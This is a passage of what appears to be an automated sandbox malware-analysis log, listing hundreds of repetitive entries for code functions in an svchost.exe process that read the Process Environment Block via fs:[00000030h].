            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE1D0 mov eax, dword ptr fs:[00000030h]1_2_038AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039061E5 mov eax, dword ptr fs:[00000030h]1_2_039061E5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038601F8 mov eax, dword ptr fs:[00000030h]1_2_038601F8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov eax, dword ptr fs:[00000030h]1_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov ecx, dword ptr fs:[00000030h]1_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov eax, dword ptr fs:[00000030h]1_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov eax, dword ptr fs:[00000030h]1_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov ecx, dword ptr fs:[00000030h]1_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov eax, dword ptr fs:[00000030h]1_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov eax, dword ptr fs:[00000030h]1_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov ecx, dword ptr fs:[00000030h]1_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov eax, dword ptr fs:[00000030h]1_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE10E mov ecx, dword ptr fs:[00000030h]1_2_038DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DA118 mov ecx, dword ptr fs:[00000030h]1_2_038DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DA118 mov eax, dword ptr fs:[00000030h]1_2_038DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DA118 mov eax, dword ptr fs:[00000030h]1_2_038DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DA118 mov eax, dword ptr fs:[00000030h]1_2_038DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F0115 mov eax, dword ptr fs:[00000030h]1_2_038F0115
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03860124 mov eax, dword ptr fs:[00000030h]1_2_03860124
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C4144 mov eax, dword ptr fs:[00000030h]1_2_038C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C4144 mov eax, dword ptr fs:[00000030h]1_2_038C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C4144 mov ecx, dword ptr fs:[00000030h]1_2_038C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C4144 mov eax, dword ptr fs:[00000030h]1_2_038C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C4144 mov eax, dword ptr fs:[00000030h]1_2_038C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382C156 mov eax, dword ptr fs:[00000030h]1_2_0382C156
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C8158 mov eax, dword ptr fs:[00000030h]1_2_038C8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836154 mov eax, dword ptr fs:[00000030h]1_2_03836154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836154 mov eax, dword ptr fs:[00000030h]1_2_03836154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904164 mov eax, dword ptr fs:[00000030h]1_2_03904164
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904164 mov eax, dword ptr fs:[00000030h]1_2_03904164
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383208A mov eax, dword ptr fs:[00000030h]1_2_0383208A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038280A0 mov eax, dword ptr fs:[00000030h]1_2_038280A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C80A8 mov eax, dword ptr fs:[00000030h]1_2_038C80A8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F60B8 mov eax, dword ptr fs:[00000030h]1_2_038F60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F60B8 mov ecx, dword ptr fs:[00000030h]1_2_038F60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B20DE mov eax, dword ptr fs:[00000030h]1_2_038B20DE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382A0E3 mov ecx, dword ptr fs:[00000030h]1_2_0382A0E3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038380E9 mov eax, dword ptr fs:[00000030h]1_2_038380E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B60E0 mov eax, dword ptr fs:[00000030h]1_2_038B60E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382C0F0 mov eax, dword ptr fs:[00000030h]1_2_0382C0F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038720F0 mov ecx, dword ptr fs:[00000030h]1_2_038720F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B4000 mov ecx, dword ptr fs:[00000030h]1_2_038B4000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]1_2_038D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]1_2_038D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]1_2_038D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]1_2_038D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]1_2_038D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]1_2_038D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]1_2_038D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]1_2_038D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384E016 mov eax, dword ptr fs:[00000030h]1_2_0384E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384E016 mov eax, dword ptr fs:[00000030h]1_2_0384E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384E016 mov eax, dword ptr fs:[00000030h]1_2_0384E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384E016 mov eax, dword ptr fs:[00000030h]1_2_0384E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382A020 mov eax, dword ptr fs:[00000030h]1_2_0382A020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382C020 mov eax, dword ptr fs:[00000030h]1_2_0382C020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C6030 mov eax, dword ptr fs:[00000030h]1_2_038C6030
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03832050 mov eax, dword ptr fs:[00000030h]1_2_03832050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B6050 mov eax, dword ptr fs:[00000030h]1_2_038B6050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385C073 mov eax, dword ptr fs:[00000030h]1_2_0385C073
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D678E mov eax, dword ptr fs:[00000030h]1_2_038D678E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038307AF mov eax, dword ptr fs:[00000030h]1_2_038307AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E47A0 mov eax, dword ptr fs:[00000030h]1_2_038E47A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383C7C0 mov eax, dword ptr fs:[00000030h]1_2_0383C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B07C3 mov eax, dword ptr fs:[00000030h]1_2_038B07C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038527ED mov eax, dword ptr fs:[00000030h]1_2_038527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038527ED mov eax, dword ptr fs:[00000030h]1_2_038527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038527ED mov eax, dword ptr fs:[00000030h]1_2_038527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BE7E1 mov eax, dword ptr fs:[00000030h]1_2_038BE7E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038347FB mov eax, dword ptr fs:[00000030h]1_2_038347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038347FB mov eax, dword ptr fs:[00000030h]1_2_038347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386C700 mov eax, dword ptr fs:[00000030h]1_2_0386C700
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03830710 mov eax, dword ptr fs:[00000030h]1_2_03830710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03860710 mov eax, dword ptr fs:[00000030h]1_2_03860710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386C720 mov eax, dword ptr fs:[00000030h]1_2_0386C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386C720 mov eax, dword ptr fs:[00000030h]1_2_0386C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386273C mov eax, dword ptr fs:[00000030h]1_2_0386273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386273C mov ecx, dword ptr fs:[00000030h]1_2_0386273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386273C mov eax, dword ptr fs:[00000030h]1_2_0386273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AC730 mov eax, dword ptr fs:[00000030h]1_2_038AC730
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386674D mov esi, dword ptr fs:[00000030h]1_2_0386674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386674D mov eax, dword ptr fs:[00000030h]1_2_0386674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386674D mov eax, dword ptr fs:[00000030h]1_2_0386674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03830750 mov eax, dword ptr fs:[00000030h]1_2_03830750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BE75D mov eax, dword ptr fs:[00000030h]1_2_038BE75D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872750 mov eax, dword ptr fs:[00000030h]1_2_03872750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872750 mov eax, dword ptr fs:[00000030h]1_2_03872750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B4755 mov eax, dword ptr fs:[00000030h]1_2_038B4755
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03838770 mov eax, dword ptr fs:[00000030h]1_2_03838770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]1_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03834690 mov eax, dword ptr fs:[00000030h]1_2_03834690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03834690 mov eax, dword ptr fs:[00000030h]1_2_03834690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386C6A6 mov eax, dword ptr fs:[00000030h]1_2_0386C6A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038666B0 mov eax, dword ptr fs:[00000030h]1_2_038666B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A6C7 mov ebx, dword ptr fs:[00000030h]1_2_0386A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A6C7 mov eax, dword ptr fs:[00000030h]1_2_0386A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE6F2 mov eax, dword ptr fs:[00000030h]1_2_038AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE6F2 mov eax, dword ptr fs:[00000030h]1_2_038AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE6F2 mov eax, dword ptr fs:[00000030h]1_2_038AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE6F2 mov eax, dword ptr fs:[00000030h]1_2_038AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B06F1 mov eax, dword ptr fs:[00000030h]1_2_038B06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B06F1 mov eax, dword ptr fs:[00000030h]1_2_038B06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE609 mov eax, dword ptr fs:[00000030h]1_2_038AE609
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]1_2_0384260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]1_2_0384260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]1_2_0384260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]1_2_0384260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]1_2_0384260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]1_2_0384260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]1_2_0384260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03872619 mov eax, dword ptr fs:[00000030h]1_2_03872619
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384E627 mov eax, dword ptr fs:[00000030h]1_2_0384E627
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03866620 mov eax, dword ptr fs:[00000030h]1_2_03866620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03868620 mov eax, dword ptr fs:[00000030h]1_2_03868620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383262C mov eax, dword ptr fs:[00000030h]1_2_0383262C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384C640 mov eax, dword ptr fs:[00000030h]1_2_0384C640
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F866E mov eax, dword ptr fs:[00000030h]1_2_038F866E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F866E mov eax, dword ptr fs:[00000030h]1_2_038F866E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A660 mov eax, dword ptr fs:[00000030h]1_2_0386A660
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A660 mov eax, dword ptr fs:[00000030h]1_2_0386A660
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03862674 mov eax, dword ptr fs:[00000030h]1_2_03862674
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03832582 mov eax, dword ptr fs:[00000030h]1_2_03832582
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03832582 mov ecx, dword ptr fs:[00000030h]1_2_03832582
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03864588 mov eax, dword ptr fs:[00000030h]1_2_03864588
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E59C mov eax, dword ptr fs:[00000030h]1_2_0386E59C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B05A7 mov eax, dword ptr fs:[00000030h]1_2_038B05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B05A7 mov eax, dword ptr fs:[00000030h]1_2_038B05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B05A7 mov eax, dword ptr fs:[00000030h]1_2_038B05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038545B1 mov eax, dword ptr fs:[00000030h]1_2_038545B1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038545B1 mov eax, dword ptr fs:[00000030h]1_2_038545B1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E5CF mov eax, dword ptr fs:[00000030h]1_2_0386E5CF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E5CF mov eax, dword ptr fs:[00000030h]1_2_0386E5CF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038365D0 mov eax, dword ptr fs:[00000030h]1_2_038365D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A5D0 mov eax, dword ptr fs:[00000030h]1_2_0386A5D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A5D0 mov eax, dword ptr fs:[00000030h]1_2_0386A5D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]1_2_0385E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]1_2_0385E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]1_2_0385E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]1_2_0385E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]1_2_0385E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]1_2_0385E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]1_2_0385E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]1_2_0385E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038325E0 mov eax, dword ptr fs:[00000030h]1_2_038325E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386C5ED mov eax, dword ptr fs:[00000030h]1_2_0386C5ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386C5ED mov eax, dword ptr fs:[00000030h]1_2_0386C5ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C6500 mov eax, dword ptr fs:[00000030h]1_2_038C6500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]1_2_03904500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]1_2_03904500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]1_2_03904500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]1_2_03904500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]1_2_03904500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]1_2_03904500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]1_2_03904500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840535 mov eax, dword ptr fs:[00000030h]1_2_03840535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840535 mov eax, dword ptr fs:[00000030h]1_2_03840535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840535 mov eax, dword ptr fs:[00000030h]1_2_03840535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840535 mov eax, dword ptr fs:[00000030h]1_2_03840535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840535 mov eax, dword ptr fs:[00000030h]1_2_03840535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840535 mov eax, dword ptr fs:[00000030h]1_2_03840535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E53E mov eax, dword ptr fs:[00000030h]1_2_0385E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E53E mov eax, dword ptr fs:[00000030h]1_2_0385E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E53E mov eax, dword ptr fs:[00000030h]1_2_0385E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E53E mov eax, dword ptr fs:[00000030h]1_2_0385E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E53E mov eax, dword ptr fs:[00000030h]1_2_0385E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03838550 mov eax, dword ptr fs:[00000030h]1_2_03838550
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03838550 mov eax, dword ptr fs:[00000030h]1_2_03838550
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386656A mov eax, dword ptr fs:[00000030h]1_2_0386656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386656A mov eax, dword ptr fs:[00000030h]1_2_0386656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386656A mov eax, dword ptr fs:[00000030h]1_2_0386656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EA49A mov eax, dword ptr fs:[00000030h]1_2_038EA49A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038364AB mov eax, dword ptr fs:[00000030h]1_2_038364AB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038644B0 mov ecx, dword ptr fs:[00000030h]1_2_038644B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BA4B0 mov eax, dword ptr fs:[00000030h]1_2_038BA4B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038304E5 mov ecx, dword ptr fs:[00000030h]1_2_038304E5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03868402 mov eax, dword ptr fs:[00000030h]1_2_03868402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03868402 mov eax, dword ptr fs:[00000030h]1_2_03868402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03868402 mov eax, dword ptr fs:[00000030h]1_2_03868402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382E420 mov eax, dword ptr fs:[00000030h]1_2_0382E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382E420 mov eax, dword ptr fs:[00000030h]1_2_0382E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382E420 mov eax, dword ptr fs:[00000030h]1_2_0382E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382C427 mov eax, dword ptr fs:[00000030h]1_2_0382C427
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]1_2_038B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]1_2_038B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]1_2_038B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]1_2_038B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]1_2_038B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]1_2_038B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]1_2_038B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]1_2_0386E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]1_2_0386E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]1_2_0386E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]1_2_0386E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]1_2_0386E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]1_2_0386E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]1_2_0386E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]1_2_0386E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EA456 mov eax, dword ptr fs:[00000030h]1_2_038EA456
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382645D mov eax, dword ptr fs:[00000030h]1_2_0382645D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385245A mov eax, dword ptr fs:[00000030h]1_2_0385245A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BC460 mov ecx, dword ptr fs:[00000030h]1_2_038BC460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385A470 mov eax, dword ptr fs:[00000030h]1_2_0385A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385A470 mov eax, dword ptr fs:[00000030h]1_2_0385A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385A470 mov eax, dword ptr fs:[00000030h]1_2_0385A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840BBE mov eax, dword ptr fs:[00000030h]1_2_03840BBE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840BBE mov eax, dword ptr fs:[00000030h]1_2_03840BBE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E4BB0 mov eax, dword ptr fs:[00000030h]1_2_038E4BB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E4BB0 mov eax, dword ptr fs:[00000030h]1_2_038E4BB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03850BCB mov eax, dword ptr fs:[00000030h]1_2_03850BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03850BCB mov eax, dword ptr fs:[00000030h]1_2_03850BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03850BCB mov eax, dword ptr fs:[00000030h]1_2_03850BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03830BCD mov eax, dword ptr fs:[00000030h]1_2_03830BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03830BCD mov eax, dword ptr fs:[00000030h]1_2_03830BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03830BCD mov eax, dword ptr fs:[00000030h]1_2_03830BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DEBD0 mov eax, dword ptr fs:[00000030h]1_2_038DEBD0
